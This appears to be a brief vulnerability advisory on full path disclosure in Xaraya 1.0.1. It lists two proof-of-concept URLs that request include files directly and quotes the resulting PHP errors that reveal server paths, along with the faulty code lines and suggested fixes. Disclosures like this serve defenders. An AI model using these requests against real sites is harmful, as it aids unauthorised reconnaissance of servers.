FullPath disclosure in Xaraya 1.0.1

[king_purba () yahoo co uk]

Author : Ph03n1X
http://student.te.ugm.ac.id/~phoenix03

Description Software :
Xaraya v 1.0.1
http://xaraya.com 

PoC :
1. http://site.xxx/xaraya/xaraya-1.0.1/html/includes/xarTemplate.php
Call to undefined function: xarcoregetvardirpath() in/usr/local/www/xaraya/xaraya-1.0.1/html/includes/xarTemplate.php 
on line 54
Vulner Code :
 define('XAR_TPL_CACHE_DIR',xarCoreGetVarDirPath() . '/cache/templates');
Fix :
Create reference for function xarCoreGetVarDirPath()

2.http://site.xxx/xaraya/xaraya-1.0.1/html/includes/xarCore.php 
Warning: main(includes/xarPreCore.php): failed to open stream: No such file or directory in 
/usr/local/www/xaraya/xaraya-1.0.1/html/includes/xarCore.php on line 104
Warning: main(): Failed opening 'includes/xarPreCore.php' for inclusion (include_path='.:/usr/lib/php') in 
/usr/local/www/xaraya/xaraya-1.0.1/html/includes/xarCore.php on line 104

Vulner Code :
include_once('includes/xarPreCore.php');
Fix :
include_once('xarPreCore.php');

And many other links in directory includes/
Turn on log error and turn off display error in php.ini can use to fix this security issue